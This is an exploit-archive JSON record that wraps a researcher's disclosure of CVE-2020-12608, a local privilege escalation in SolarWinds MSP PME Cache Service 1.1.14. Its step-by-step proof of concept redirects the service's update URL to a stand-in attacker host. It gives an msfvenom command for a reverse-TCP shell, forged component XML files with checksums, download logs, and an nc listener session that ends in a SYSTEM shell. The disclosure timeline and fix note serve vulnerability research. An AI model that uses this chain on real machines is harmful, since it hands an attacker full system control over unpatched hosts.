{"exploit":{"id":"EDB-48448","name":"SolarWinds MSP PME Cache Service 1.1.14 - 'CacheService.xml' Insecure File Permissions / Local Privilege Escalation (LPE)","description":"SolarWinds MSP PME Cache Service 1.1.14 - 'CacheService.xml' Insecure File Permissions / Local Privilege Escalation (LPE)","cves":["CVE-2020-12608"],"author":"Jens Regel","published":"2020-05-11","platform":"windows","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48448","path":"exploits/windows/local/48448.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48448.txt","vulnerabilities":[{"id":"CVE-2020-12608","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in SolarWinds MSP PME (Patch Management Engine) Cache Service before 1.1.15 in the Advanced Monitoring Agent. There are insecure file permissions for %PROGRAMDATA%\\SolarWinds MSP\\SolarWinds.MSP.CacheService\\config\\. This can lead to code execution by changing the CacheService.xml SISServerURL parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-12608","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-12608"},"updatedAt":"2024-08-04T12:04:21.673Z","retrievedAt":"2026-11-26T05:25:02.582Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48448.png?v=2","url":"https://exploitbin.com/exploits/EDB-48448","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48448/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48448/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Title: SolarWinds MSP PME Cache Service 1.1.14 - Insecure File Permissions\n# Author: Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG\n# Date: 2020-05-06\n# Vendor: https://www.solarwindsmsp.com/\n# CVE: CVE-2020-12608\n# GitHub: https://github.com/jensregel/Advisories/tree/master/CVE-2020-12608\n# CVSSv3: 8.2 [CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H]\n# CWE: 276\n\nVulnerable version\n==================\nSolarWinds MSP PME (Patch Management Engine) before 1.1.15\n\nTimeline\n========\n2020-04-24 Vulnerability discovered\n2020-04-27 Send details to SolarWinds PSIRT\n2020-04-27 SolarWinds confirmed the vulnerability\n2020-05-05 SolarWinds released PME version 1.1.15\n2020-05-06 Public disclosure\n\nDescription\n===========\nAn error with insecure file permissions has occurred in the SolarWinds\nMSP Cache Service, which is part of the Advanced Monitoring Agent and\ncan lead to code execution. The SolarWinds MSP Cache Service is\ntypically used to get new update definition files and versions for\nThirdPartyPatch.exe or SolarWinds MSP Patch Management Engine Setup. The\nXML file CacheService.xml in %PROGRAMDATA%\\SolarWinds\nMSP\\SolarWinds.MSP.CacheService\\config\\ is writable by normal users, so\nthat the parameter SISServerURL can be changed, which controls the\nlocation of the updates. After some analysis, we were able to provide\nmodified XML files (PMESetup_details.xml and\nThirdPartyPatch_details.xml) that point to an executable file with a\nreverse TCP payload using our controlled SISServerURL web server for\nSolarWinds MSP Cache Service.\n\nProof of Concept (PoC)\n======================\nAs we can see, NTFS change permissions are set to CacheService.xml by\ndefault. Any user on the system who is in group users can change the\nfile content. This is especially a big problem on terminal servers or\nmulti-user systems.\n\nPS C:\\ProgramData\\SolarWinds MSP\\SolarWinds.MSP.CacheService\\config>\nicacls .\\CacheService.xml\n.\\CacheService.xml VORDEFINIERT\\Benutzer:(I)(M)\nNT-AUTORITÄT\\SYSTEM:(I)(F)\nVORDEFINIERT\\Administratoren:(I)(F)\n\n1. Modify CacheService.xml\n\nIn the xml file, the parameter SISServerURL was adjusted, which now\npoints to a web server controlled by the attacker.\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Configuration>\n<CachingEnabled>True</CachingEnabled>\n<ApplianceVersion>1.1.14.2223</ApplianceVersion>\n<CacheLocation>C:\\ProgramData\\SolarWinds\nMSP\\SolarWinds.MSP.CacheService\\cache</CacheLocation>\n<CacheSizeInMB>10240</CacheSizeInMB>\n<SISServerURL>https://evil-attacker.example.org</SISServerURL>\n<LogLevel>5</LogLevel>\n<Proxy></Proxy>\n<ProxyEncrypt>AQAAANCMnd8BFdER(...)</ProxyEncrypt>\n<ProxyCacheService />\n<CacheFilesDeleted></CacheFilesDeleted>\n<CacheDeletedInBytes></CacheDeletedInBytes>\n<HostApplication>RMM</HostApplication>\n<CanBypassProxyCacheService>True</CanBypassProxyCacheService>\n<BypassProxyCacheServiceTimeoutSeconds>1</BypassProxyCacheServiceTimeoutSeconds>\n<ComponentUpdateMinutes>300</ComponentUpdateMinutes>\n<ComponentUpdateDelaySeconds>1</ComponentUpdateDelaySeconds>\n</Configuration>\n\n2. Payload creation\n\nGenerate an executable file, for example using msfvenom, that\nestablishes a reverse tcp connection to the attacker and store it on the\nweb server.\n\nmsfvenom -p windows/x64/shell_reverse_tcp lhost=x.x.x.x lport=4444 -f\nexe > /tmp/solarwinds-shell.exe\n\n3. Prepare web server\n\nPlace the modified xml files (PMESetup_details.xml or\nThirdPartyPatch_details.xml) on the web server in the path\n/ComponentData/RMM/1/, calculate MD5, SHA1 and SHA256 checksums of the\nexecutable, set correct values for SizeInBytes and increase the version.\n\nExample of PMESetup_details.xml\n\n<ComponentDetails>\n<Name>Patch Management Engine</Name>\n<Description>Patch Management Engine</Description>\n<MD5Checksum>7a4a78b105a1d750bc5dfe1151fb70e1</MD5Checksum>\n<SHA1Checksum>3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac</SHA1Checksum>\n<SHA256Checksum>\n80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65\n</SHA256Checksum>\n<SizeInBytes>7168</SizeInBytes>\n<DownloadURL>/ComponentData/RMM/1/solarwinds-shell.exe</DownloadURL>\n<FileName>solarwinds-shell.exe</FileName>\n<Architecture>x86,x64</Architecture>\n<Locale>all</Locale>\n<Version>1.1.14.2224</Version>\n</ComponentDetails>\n\nExample of ThirdPartyPatch_details.xml\n\n<ComponentDetails xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\nxmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n<Name>Third Party Patch</Name>\n<Description>\nThird Party Patch application for Patch Management Engine RMM v 1 and later\n</Description>\n<MD5Checksum>7a4a78b105a1d750bc5dfe1151fb70e1</MD5Checksum>\n<SHA1Checksum>3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac</SHA1Checksum>\n<SHA256Checksum>\n80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65\n</SHA256Checksum>\n<SizeInBytes>7168</SizeInBytes>\n<DownloadURL>/ComponentData/RMM/1/solarwinds-shell.exe</DownloadURL>\n<FileName>solarwinds-shell.exe</FileName>\n<Architecture>x86,x64</Architecture>\n<Locale>all</Locale>\n<Version>1.2.1.95</Version>\n</ComponentDetails>\n\n4. Malicious executable download\n\nAfter restarting the system or reloading the CacheService.xml, the\nservice connects to the web server controlled by the attacker and\ndownloads the executable file. This is then stored in the path\n%PROGRAMDATA%\\SolarWinds MSP\\SolarWinds.MSP.CacheService\\cache\\ and\n%PROGRAMDATA%\\SolarWinds MSP\\PME\\archives\\.\n\n[24/Apr/2020:10:57:01 +0200] \"HEAD\n/ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1\" 200 5307 \"-\" \"-\"\n[24/Apr/2020:10:57:01 +0200] \"GET\n/ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1\" 200 7585 \"-\" \"-\"\n\n5. Getting shell\n\nAfter a certain time the executable file is executed by SolarWinds MSP\nRPC Server service and establishes a connection with the rights of the\nsystem user to the attacker.\n\n[~]: nc -nlvp 4444\nListening on [0.0.0.0] (family 0, port 4444)\nConnection from [x.x.x.x] port 4444 [tcp/*] accepted (family 2, sport 49980)\nMicrosoft Windows [Version 10.0.18363.778]\n(c) 2019 Microsoft Corporation. Alle Rechte vorbehalten.\n\nC:\\WINDOWS\\system32>whoami\nwhoami\nnt-authority\\system\n\nC:\\WINDOWS\\system32>\n\nFix\n===\nThere is a new PME version 1.1.15 which comes with auto-update\nhttps://success.solarwindsmsp.com/forum-post/X0D51T00007TMk6jSAD/","sha256":"b68dba7a30ed7bf3fb6aac71e625090d0b1c76eeeea6911adb16995828f79d9c","bytes":6172,"fetchedAt":"2026-11-26T23:10:07.853Z","encoding":"utf-8 (display only; download retains original bytes)"}